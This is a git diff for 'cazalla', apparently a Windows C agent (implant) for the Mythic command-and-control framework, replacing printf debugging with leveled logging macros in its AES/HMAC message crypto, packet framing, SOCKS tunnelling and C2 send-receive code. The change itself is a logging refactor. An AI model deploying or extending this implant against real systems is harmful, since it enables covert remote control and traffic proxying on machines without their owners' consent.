allocate HMAC buffer"); return FALSE; } @@ -274,102 +268,96 @@ BOOL CryptoMythicDecryptParser(void* analizador) { hmac_calculated, SHA256_HASH_SIZE ); - printf("[CRYPTO] HMAC calculated (hex): "); + _dbg("HMAC calculated (hex): "); for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { - printf("%02x ", hmac_calculated[i]); + _dbg(" %02x ", hmac_calculated[i]); } - printf("\n"); if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) { - printf("[CRYPTO] === HMAC VERIFICATION FAILED ===\n"); - printf("[CRYPTO] Provided HMAC: "); + _err("=== HMAC VERIFICATION FAILED ==="); + _err("Provided HMAC: "); for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { - printf("%02x ", hmac_provided[i]); + _err(" %02x ", hmac_provided[i]); } - printf("\n[CRYPTO] Calculated HMAC: "); + _err("Calculated HMAC: "); for (size_t i = 0; i < SHA256_HASH_SIZE; i++) { - printf("%02x ", hmac_calculated[i]); + _err(" %02x ", hmac_calculated[i]); } - printf("\n[CRYPTO] Data used for HMAC calculation (first 48 bytes): "); + _dbg("Data used for HMAC calculation (first 48 bytes): "); for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) { - printf("%02x ", parser->buffer[i]); - if ((i + 1) % 16 == 0) printf("\n[CRYPTO] "); + _dbg(" %02x ", parser->buffer[i]); + if ((i + 1) % 16 == 0) _dbg("\n"); } - printf("\n"); free(hmac_calculated); return FALSE; } - printf("[CRYPTO] HMAC verification SUCCESS\n"); + _inf("HMAC verification SUCCESS"); free(hmac_calculated); // Decrypt - printf("[CRYPTO] === DECRYPTING ===\n"); - printf("[CRYPTO] Initializing AES context with IV...\n"); + _inf("=== DECRYPTING ==="); + _dbg("Initializing AES context with IV..."); struct AES_ctx ctx; AES_init_ctx_iv(&ctx, g_aesKey, iv); - printf("[CRYPTO] Decrypting %zu bytes of ciphertext...\n", encrypted_data_length); + _inf("Decrypting %zu bytes of ciphertext...", encrypted_data_length); AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length); - printf("[CRYPTO] Decryption complete\n"); + _dbg("Decryption complete"); // Log decrypted data before unpadding - printf("[CRYPTO] Decrypted data (before unpadding, hex, first 64 bytes): "); + _dbg("Decrypted data (before unpadding, hex, first 64 bytes): "); for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) { - printf("%02x ", parser->buffer[IVSIZE + i]); - if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); + _dbg(" %02x ", parser->buffer[IVSIZE + i]); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); // Remove padding - printf("[CRYPTO] === REMOVING PADDING ===\n"); + _dbg("=== REMOVING PADDING ==="); BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1]; - printf("[CRYPTO] Padding length from last byte: %d\n", padding_length); - printf("[CRYPTO] Last 16 bytes (should show padding): "); + _dbg("Padding length from last byte: %d", padding_length); + _dbg("Last 16 bytes (should show padding): "); size_t padding_start = IVSIZE + encrypted_data_length - 16; for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) { - printf("%02x ", parser->buffer[padding_start + i]); + _dbg(" %02x ", parser->buffer[padding_start + i]); } - printf("\n"); if (padding_length > AES_BLOCKLEN) { - printf("[CRYPTO] ERROR: Invalid padding length: %d\n", padding_length); + _err("Invalid padding length: %d", padding_length); return FALSE; } SIZE_T unpadded_len = encrypted_data_length - padding_length; - printf("[CRYPTO] Unpadded length: %zu bytes\n", unpadded_len); + _dbg("Unpadded length: %zu bytes", unpadded_len); // Update parser SIZE_T original_size = parser->tamano; - printf("[CRYPTO] Moving decrypted data to start of buffer (removing IV)...\n"); + _dbg("Moving decrypted data to start of buffer (removing IV)..."); memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len); parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE); parser->tamano = unpadded_len; // Log final decrypted data - printf("[CRYPTO] === DECRYPTION COMPLETE ===\n"); - printf("[CRYPTO] Final decrypted size: %zu bytes (original encrypted: %zu bytes)\n", - parser->tamano, original_size); - printf("[CRYPTO] Final decrypted data (hex, first 64 bytes): "); + _inf("=== DECRYPTION COMPLETE ==="); + _dbg("Final decrypted size: %zu bytes (original encrypted: %zu bytes)", + parser->tamano, original_size); + _dbg("Final decrypted data (hex, first 64 bytes): "); for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) { - printf("%02x ", parser->buffer[i]); - if ((i + 1) % 32 == 0) printf("\n[CRYPTO] "); + _dbg(" %02x ", parser->buffer[i]); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); // Log as ASCII if printable if (parser->tamano > 0) { - printf("[CRYPTO] First byte: 0x%02X\n", parser->buffer[0]); + _dbg("First byte: 0x%02X", parser->buffer[0]); if (parser->tamano >= 36) { char uuidBuf[37] = {0}; memcpy(uuidBuf, parser->buffer, 36); - printf("[CRYPTO] First 36 bytes (should be UUID if present): %s\n", uuidBuf); + _dbg("First 36 bytes (should be UUID if present): %s", uuidBuf); } } - printf("[CRYPTO] Parser decrypted successfully (length: %zu)\n", parser->tamano); - fflush(stdout); + _inf("Parser decrypted successfully (length: %zu)", parser->tamano); return TRUE; } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h index fac1fc8..a42c81e 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h @@ -1,42 +1,83 @@ #pragma once #include +#include +#include -#if defined(_DEBUG) +/* Debug level defines (from DEBUG_LEVEL parameter, set by Makefile): + * 0 = NONE - no debug output + * 1 = ERR - only _err() messages + * 2 = WRN - _err() + _wrn() messages + * 3 = INF - _err() + _wrn() + _inf() messages + * 4 = ALL - all messages (_err() + _wrn() + _inf() + _dbg()) + */ +/* Debug output defines (from DEBUG_OUTPUT parameter, set by Makefile): + * 0 = CONSOLE - output to stdout (printf) + * 1 = FILE - output to C:\Temp\Ra.log + */ + +#if defined(DEBUG_LEVEL) && DEBUG_LEVEL > 0 + +/* Debug is enabled - determine which levels are active */ +#define ENABLE_ERR 1 /* Always enable errors (level >= 1) */ +#define ENABLE_WRN (DEBUG_LEVEL >= 2) +#define ENABLE_INF (DEBUG_LEVEL >= 3) +#define ENABLE_DBG (DEBUG_LEVEL >= 4) #define DBG "DBG" #define ERR "ERR" #define WRN "WRN" #define INF "INF" -#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); -#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) -#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) -#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) -#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) -#elif defined(_DEBUG_RELEASE) -#define DBG -#define ERR -#define WRN -#define INF -#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\ -CHAR out[200] = { 0 };\ -sprintf(out, format"\n", ## __VA_ARGS__);\ -WriteFile(debugFile, out, strlen(out), NULL, NULL);\ -CloseHandle(debugFile);} +#if defined(DEBUG_OUTPUT) && DEBUG_OUTPUT == 1 +/* File-based logging */ +#define _log(level, format, ...) do { \ + HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); \ + if (debugFile != INVALID_HANDLE_VALUE) { \ + CHAR out[512] = { 0 }; \ + DWORD written = 0; \ + sprintf_s(out, sizeof(out), "[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \ + WriteFile(debugFile, out, (DWORD)strlen(out), &written, NULL); \ + CloseHandle(debugFile); \ + } \ +} while(0) +#else +/* Console-based logging (default) */ +#define _log(level, format, ...) do { \ + printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \ + fflush(stdout); \ +} while(0) +#endif + +/* Level-specific macros */ +#if ENABLE_DBG #define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) +#else +#define _dbg(format, ...) ((void)0) +#endif + #define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) + +#if ENABLE_WRN #define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) +#else +#define _wrn(format, ...) ((void)0) +#endif + +#if ENABLE_INF #define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) #else -#define DBG -#define ERR -#define WRN -#define INF -#define _log(level, format, ...) -#define _dbg(format, ...) -#define _err(format, ...) -#define _wrn(format, ...) -#define _inf(format, ...) -#endif \ No newline at end of file +#define _inf(format, ...) ((void)0) +#endif + +#else + +/* Release build: no debug output */ +#define _log(level, format, ...) ((void)0) +#define _dbg(format, ...) ((void)0) +#define _err(format, ...) ((void)0) +#define _wrn(format, ...) ((void)0) +#define _inf(format, ...) ((void)0) + +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c index 536fc4d..cdfa819 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c @@ -1,18 +1,14 @@ #include "cazalla.h" -#include int main() { - printf("=== CAZALLA AGENT STARTING ===\n"); - fflush(stdout); + _inf("=== CAZALLA AGENT STARTING ==="); #ifdef AESPSK - printf("AESPSK: %s\n", AESPSK); - fflush(stdout); + _inf("AESPSK: %s", AESPSK); #endif Sleep(2000); // Pausa 2 segundos para ver si inicia cazallaMain(); - printf("=== CAZALLA AGENT EXITING ===\n"); - fflush(stdout); - printf("Press any key to exit...\n"); + _inf("=== CAZALLA AGENT EXITING ==="); + _inf("Press any key to exit..."); getchar(); return 0; } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index 1eea7cb..ffa8223 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -3,15 +3,9 @@ #include "paquete.h" #include "socks_manager.h" -#ifdef DEBUG_SOCKS -#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else -#define DBG_PRINTF(...) ((void)0) -#endif - // Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. PPaquete nuevoPaquete(BYTE idComando, BOOL init) { - DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init); + _dbg("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init); PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); if (!paquete) { _err("Error: fallo al asignar memoria para Paquete\n"); @@ -32,7 +26,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) { } VOID liberarPaquete(PPaquete paquete) { - DBG_PRINTF("liberarPaquete()"); + _dbg("liberarPaquete()"); LocalFree(paquete->buffer); LocalFree(paquete); } @@ -40,8 +34,7 @@ VOID liberarPaquete(PPaquete paquete) { /* Callback C para volcar mensajes SOCKS al paquete */ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) { PPaquete pkt = (PPaquete)ctx; - printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len); - fflush(stdout); + _dbg("flush_socks_cb: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len); addInt32(pkt, server_id); addByte(pkt, (BYTE)(exit_flag ? 1 : 0)); if (data_len && data) { @@ -53,54 +46,44 @@ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned cha } else { addInt32(pkt, 0); } - printf("[SOCKS] flush_socks_cb completed\n"); - fflush(stdout); + _dbg("flush_socks_cb completed"); } /* === Nueva función: inserta tráfico SOCKS pendiente === */ static VOID flushSocksTraffic(PPaquete paquete) { - printf("[PAQUETE] flushSocksTraffic()\n"); - fflush(stdout); + _dbg("flushSocksTraffic()"); /* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */ PPaquete temp = nuevoPaquete(0, FALSE); if (!temp) { - printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n"); - fflush(stdout); + _err("nuevoPaquete temp failed"); return; } - printf("[PAQUETE] temp paquete created\n"); - fflush(stdout); + _dbg("temp paquete created"); socks_manager_flush_outgoing(flush_socks_cb, (void*)temp); - printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length); - fflush(stdout); + _dbg("socks_manager_flush_outgoing done, temp->length=%zu", temp->length); if (temp->length > 0) { - printf("[PAQUETE] Adding SOCKS block marker\n"); - fflush(stdout); + _dbg("Adding SOCKS block marker"); /* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */ addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER); addInt32(paquete, (UINT32)temp->length); addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE); } liberarPaquete(temp); - printf("[PAQUETE] flushSocksTraffic() completed\n"); - fflush(stdout); + _dbg("flushSocksTraffic() completed"); } /* === Enviar paquete con soporte SOCKS === */ PAnalizador mandarPaquete(PPaquete paquete) { - printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length); - fflush(stdout); + _dbg("mandarPaquete() len=%zu", paquete->length); // Solo añadir tráfico SOCKS si el proxy está activo if (socks_proxy_active) { - printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n"); - fflush(stdout); + _dbg("SOCKS activo, flushSocksTraffic()"); flushSocksTraffic(paquete); } else { - printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n"); - fflush(stdout); + _dbg("SOCKS inactivo, saltando flushSocksTraffic()"); } // === Handle encryption according to Mythic format === @@ -110,7 +93,7 @@ PAnalizador mandarPaquete(PPaquete paquete) { SIZE_T tamanoAEnviar = 0; if (crypto_is_encryption_enabled()) { - printf("[PAQUETE] Cifrado habilitado, formato: Base64(UUID + AES256(data))\n"); + _inf("Cifrado habilitado, formato: Base64(UUID + AES256(data))"); // Extract UUID - UUID is always 36 characters (UUIDv4 format) // Format: [UUID(36)][command_byte][rest...] @@ -118,8 +101,8 @@ PAnalizador mandarPaquete(PPaquete paquete) { const SIZE_T UUID_LENGTH = 36; if (paquete->length < UUID_LENGTH + 1) { - printf("[PAQUETE] ERROR: Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)\n", - paquete->length, UUID_LENGTH + 1); + _err("Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)", + paquete->length, UUID_LENGTH + 1); return NULL; } @@ -131,32 +114,30 @@ PAnalizador mandarPaquete(PPaquete paquete) { // Log UUID extraction with detailed info char uuidBuf[37] = {0}; memcpy(uuidBuf, uuidStr, UUID_LENGTH); - printf("[PAQUETE] === EXTRACTING UUID ===\n"); - printf("[PAQUETE] Tamaño total del paquete: %zu bytes\n", paquete->length); - printf("[PAQUETE] UUID extraído: %s (length: %zu)\n", uuidBuf, UUID_LENGTH); - printf("[PAQUETE] Data offset (after UUID): %zu\n", dataOffset); - printf("[PAQUETE] Datos a cifrar: %zu bytes\n", dataLength); + _dbg("=== EXTRACTING UUID ==="); + _dbg("Tamaño total del paquete: %zu bytes", paquete->length); + _dbg("UUID extraído: %s (length: %zu)", uuidBuf, UUID_LENGTH); + _dbg("Data offset (after UUID): %zu", dataOffset); + _dbg("Datos a cifrar: %zu bytes", dataLength); // Log raw packet structure - printf("[PAQUETE] Raw packet structure (first 60 bytes, hex): "); + _dbg("Raw packet structure (first 60 bytes, hex): "); for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) { - printf("%02x ", ((PBYTE)paquete->buffer)[i]); - if ((i + 1) % 16 == 0) printf("\n[PAQUETE] "); + _dbg(" %02x ", ((PBYTE)paquete->buffer)[i]); + if ((i + 1) % 16 == 0) _dbg("\n"); } - printf("\n"); - fflush(stdout); // Create a temporary package with only the data part (without UUID) PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); if (!dataPackage) { - printf("[PAQUETE] ERROR: Failed to allocate data package\n"); + _err("Failed to allocate data package"); return NULL; } dataPackage->buffer = LocalAlloc(LPTR, dataLength); if (!dataPackage->buffer) { LocalFree(dataPackage); - printf("[PAQUETE] ERROR: Failed to allocate data buffer\n"); + _err("Failed to allocate data buffer"); return NULL; } @@ -164,42 +145,37 @@ PAnalizador mandarPaquete(PPaquete paquete) { dataPackage->length = dataLength; // Log data to encrypt - printf("[PAQUETE] === DATA TO ENCRYPT (without UUID) ===\n"); - printf("[PAQUETE] Data length: %zu bytes\n", dataPackage->length); - printf("[PAQUETE] Data preview (hex, first 64 bytes): "); + _dbg("=== DATA TO ENCRYPT (without UUID) ==="); + _dbg("Data length: %zu bytes", dataPackage->length); + _dbg("Data preview (hex, first 64 bytes): "); for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) { - printf("%02x ", ((PBYTE)dataPackage->buffer)[i]); - if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + _dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); - printf("[PAQUETE] First byte of data (should be command byte): 0x%02X\n", - dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0); - fflush(stdout); + _dbg("First byte of data (should be command byte): 0x%02X", + dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0); // Encrypt only the data part (without UUID) - printf("[PAQUETE] === STARTING ENCRYPTION ===\n"); - printf("[PAQUETE] Calling CryptoMythicEncryptPackage() with %zu bytes...\n", dataPackage->length); - fflush(stdout); + _inf("=== STARTING ENCRYPTION ==="); + _dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length); if (!CryptoMythicEncryptPackage(dataPackage)) { - printf("[PAQUETE] ERROR: Falló el cifrado\n"); + _err("Falló el cifrado"); LocalFree(dataPackage->buffer); LocalFree(dataPackage); return NULL; } - printf("[PAQUETE] === ENCRYPTION COMPLETE ===\n"); - printf("[PAQUETE] Datos cifrados: %zu bytes (original: %zu bytes)\n", - dataPackage->length, dataLength); + _inf("=== ENCRYPTION COMPLETE ==="); + _dbg("Datos cifrados: %zu bytes (original: %zu bytes)", + dataPackage->length, dataLength); // Log encrypted data preview - printf("[PAQUETE] Encrypted data preview (hex, first 80 bytes): "); + _dbg("Encrypted data preview (hex, first 80 bytes): "); for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) { - printf("%02x ", ((PBYTE)dataPackage->buffer)[i]); - if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + _dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); - fflush(stdout); // Concatenate UUID + encrypted data SIZE_T finalSize = UUID_LENGTH + dataPackage->length; @@ -207,98 +183,93 @@ PAnalizador mandarPaquete(PPaquete paquete) { if (!finalBuffer) { LocalFree(dataPackage->buffer); LocalFree(dataPackage); - printf("[PAQUETE] ERROR: Failed to allocate final buffer\n"); + _err("Failed to allocate final buffer"); return NULL; } - printf("[PAQUETE] === CONCATENATING UUID + ENCRYPTED DATA ===\n"); + _dbg("=== CONCATENATING UUID + ENCRYPTED DATA ==="); memcpy(finalBuffer, uuidStr, UUID_LENGTH); - printf("[PAQUETE] Copied UUID (%zu bytes) to final buffer\n", UUID_LENGTH); + _dbg("Copied UUID (%zu bytes) to final buffer", UUID_LENGTH); memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length); - printf("[PAQUETE] Copied encrypted data (%zu bytes) to final buffer at offset %zu\n", - dataPackage->length, UUID_LENGTH); + _dbg("Copied encrypted data (%zu bytes) to final buffer at offset %zu", + dataPackage->length, UUID_LENGTH); datosAEnviar = finalBuffer; tamanoAEnviar = finalSize; - printf("[PAQUETE] === FINAL BUFFER READY ===\n"); - printf("[PAQUETE] Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)\n", - finalSize, UUID_LENGTH, dataPackage->length); + _dbg("=== FINAL BUFFER READY ==="); + _dbg("Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)", + finalSize, UUID_LENGTH, dataPackage->length); // Log first bytes of final buffer (show UUID + start of encrypted data) - printf("[PAQUETE] Final buffer preview (hex, first 100 bytes): "); + _dbg("Final buffer preview (hex, first 100 bytes): "); for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) { - printf("%02x ", finalBuffer[i]); + _dbg(" %02x ", finalBuffer[i]); if (i == UUID_LENGTH - 1) { - printf("| "); // Mark where UUID ends + _dbg("| "); // Mark where UUID ends } - if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); // Log final buffer as readable string (first part should be UUID) char finalPreview[101] = {0}; size_t previewLen = finalSize > 100 ? 100 : finalSize; memcpy(finalPreview, finalBuffer, previewLen); - printf("[PAQUETE] Final buffer preview (ASCII, first 100 bytes): %.*s\n", - (int)previewLen, finalPreview); - printf("[PAQUETE] First 36 chars should be UUID: %.*s\n", 36, finalPreview); - fflush(stdout); + _dbg("Final buffer preview (ASCII, first 100 bytes): %.*s", + (int)previewLen, finalPreview); + _dbg("First 36 chars should be UUID: %.*s", 36, finalPreview); // Cleanup temporary package LocalFree(dataPackage->buffer); LocalFree(dataPackage); } else { - printf("[PAQUETE] Cifrado deshabilitado, enviando plaintext completo\n"); + _inf("Cifrado deshabilitado, enviando plaintext completo"); datosAEnviar = (PBYTE)paquete->buffer; tamanoAEnviar = paquete->length; } // Codificar en base64 - printf("[PAQUETE] === BASE64 ENCODING ===\n"); - printf("[PAQUETE] Binary size to encode: %zu bytes\n", tamanoAEnviar); + _dbg("=== BASE64 ENCODING ==="); + _dbg("Binary size to encode: %zu bytes", tamanoAEnviar); // Log binary data before base64 - printf("[PAQUETE] Binary data preview (hex, first 80 bytes): "); + _dbg("Binary data preview (hex, first 80 bytes): "); for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) { - printf("%02x ", datosAEnviar[i]); - if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + _dbg(" %02x ", datosAEnviar[i]); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar); SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar); if (!paqueteParaMandar) { - printf("[PAQUETE] ERROR: b64Codificado returned NULL\n"); - fflush(stdout); + _err("b64Codificado returned NULL"); if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) { LocalFree(datosAEnviar); } return NULL; } - printf("[PAQUETE] Base64 encoding complete\n"); - printf("[PAQUETE] Tamaño después de base64: %zu bytes (expected: ~%zu bytes)\n", - tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3); + _dbg("Base64 encoding complete"); + _dbg("Tamaño después de base64: %zu bytes (expected: ~%zu bytes)", + tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3); // Log base64 preview with more detail if (paqueteParaMandar && tamanoDelPaquete > 0) { size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete; char preview[101] = {0}; memcpy(preview, paqueteParaMandar, previewLen); - printf("[PAQUETE] Base64 preview (first %zu chars): %s\n", previewLen, preview); + _dbg("Base64 preview (first %zu chars): %s", previewLen, preview); if (tamanoDelPaquete > 100) { - printf("[PAQUETE] ... (total %zu chars)\n", tamanoDelPaquete); + _dbg("... (total %zu chars)", tamanoDelPaquete); } // Show where UUID should be in base64 (first 48 chars should be UUID base64) - printf("[PAQUETE] First 48 chars of base64 (should contain UUID): %.*s\n", - 48, paqueteParaMandar); + _dbg("First 48 chars of base64 (should contain UUID): %.*s", + 48, paqueteParaMandar); } - printf("[PAQUETE] === READY TO SEND ===\n"); - printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete); - fflush(stdout); + _inf("=== READY TO SEND ==="); + _dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete); PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); LocalFree(paqueteParaMandar); @@ -308,21 +279,18 @@ PAnalizador mandarPaquete(PPaquete paquete) { } if (!respuesta) { - printf("[PAQUETE] ERROR: respuesta NULL\n"); - fflush(stdout); + _err("respuesta NULL"); return NULL; } - printf("[PAQUETE] respuesta OK\n"); - fflush(stdout); + _dbg("respuesta OK"); // === Decodificar base64 de la respuesta === // When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts // the response, but the agent still receives it base64-encoded from HTTP. // The agent will handle decryption AFTER base64 decode if needed. if (respuesta && respuesta->original && respuesta->tamano > 0) { - printf("[PAQUETE] Decodificando base64 de %zu bytes...\n", respuesta->tamano); - fflush(stdout); + _dbg("Decodificando base64 de %zu bytes...", respuesta->tamano); PBYTE datosDecodificados = NULL; SIZE_T tamanoDecodificado = 0; @@ -335,40 +303,38 @@ PAnalizador mandarPaquete(PPaquete paquete) { // Decodificar if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) { - printf("[PAQUETE] Base64 decodificado: %zu bytes\n", tamanoDecodificado); - fflush(stdout); + _dbg("Base64 decodificado: %zu bytes", tamanoDecodificado); // === Decrypt if encryption is enabled === if (crypto_is_encryption_enabled()) { - printf("[PAQUETE] === DECRYPTING RESPONSE ===\n"); - printf("[PAQUETE] Base64 decoded size: %zu bytes\n", tamanoDecodificado); + _inf("=== DECRYPTING RESPONSE ==="); + _dbg("Base64 decoded size: %zu bytes", tamanoDecodificado); // Log raw data before decryption - printf("[PAQUETE] Raw response before decryption (hex, first 80 bytes): "); + _dbg("Raw response before decryption (hex, first 80 bytes): "); for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) { - printf("%02x ", datosDecodificados[i]); - if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); + _dbg(" %02x ", datosDecodificados[i]); + if ((i + 1) % 32 == 0) _dbg("\n"); } - printf("\n"); // Check if response starts with UUID (which would mean it's in format UUID + encrypted_data) if (tamanoDecodificado >= 36) { char uuidCheck[37] = {0}; memcpy(uuidCheck, datosDecodificados, 36); - printf("[PAQUETE] First 36 bytes (UUID check): %s\n", uuidCheck); - printf("[PAQUETE] Expected UUID: %s\n", cazallaConfig->idAgente); + _dbg("First 36 bytes (UUID check): %s", uuidCheck); + _dbg("Expected UUID: %s", cazallaConfig->idAgente); // If response starts with UUID, we need to extract it if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) { - printf("[PAQUETE] Response format: UUID + encrypted_data detected\n"); - printf("[PAQUETE] Extracting encrypted data (after UUID)...\n"); + _dbg("Response format: UUID + encrypted_data detected"); + _dbg("Extracting encrypted data (after UUID)..."); // Extract encrypted data (without UUID) SIZE_T encrypted_size = tamanoDecodificado - 36; PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size); if (encrypted_data) { memcpy(encrypted_data, datosDecodificados + 36, encrypted_size); - printf("[PAQUETE] Encrypted data size (without UUID): %zu bytes\n", encrypted_size); + _dbg("Encrypted data size (without UUID): %zu bytes", encrypted_size); // Create parser with just the encrypted data PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); @@ -377,8 +343,8 @@ PAnalizador mandarPaquete(PPaquete paquete) { tempParser->tamano = encrypted_size; if (CryptoMythicDecryptParser(tempParser)) { - printf("[PAQUETE] === DECRYPTION SUCCESS ===\n"); - printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano); + _inf("=== DECRYPTION SUCCESS ==="); + _dbg("Decrypted size: %zu bytes", tempParser->tamano); // Create final buffer with UUID + decrypted data SIZE_T final_size = 36 + tempParser->tamano; @@ -389,10 +355,10 @@ PAnalizador mandarPaquete(PPaquete paquete) { LocalFree(datosDecodificados); datosDecodificados = final_buffer; tamanoDecodificado = final_size; - printf("[PAQUETE] Final response (UUID + decrypted): %zu bytes\n", final_size); + _dbg("Final response (UUID + decrypted): %zu bytes", final_size); } } else { - printf("[PAQUETE] ERROR: Falló el descifrado\n"); + _err("Falló el descifrado"); } LocalFree(tempParser); } else { @@ -401,25 +367,25 @@ PAnalizador mandarPaquete(PPaquete paquete) { } } else { // Response doesn't start with UUID, try decrypting directly - printf("[PAQUETE] Response doesn't start with UUID, trying direct decryption...\n"); + _dbg("Response doesn't start with UUID, trying direct decryption..."); PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); if (tempParser) { tempParser->buffer = datosDecodificados; tempParser->tamano = tamanoDecodificado; if (CryptoMythicDecryptParser(tempParser)) { - printf("[PAQUETE] === DECRYPTION SUCCESS (no UUID in response) ===\n"); - printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano); + _inf("=== DECRYPTION SUCCESS (no UUID in response) ==="); + _dbg("Decrypted size: %zu bytes", tempParser->tamano); datosDecodificados = tempParser->buffer; tamanoDecodificado = tempParser->tamano; } else { - printf("[PAQUETE] ERROR: Falló el descifrado\n"); + _err("Falló el descifrado"); } LocalFree(tempParser); } } } else 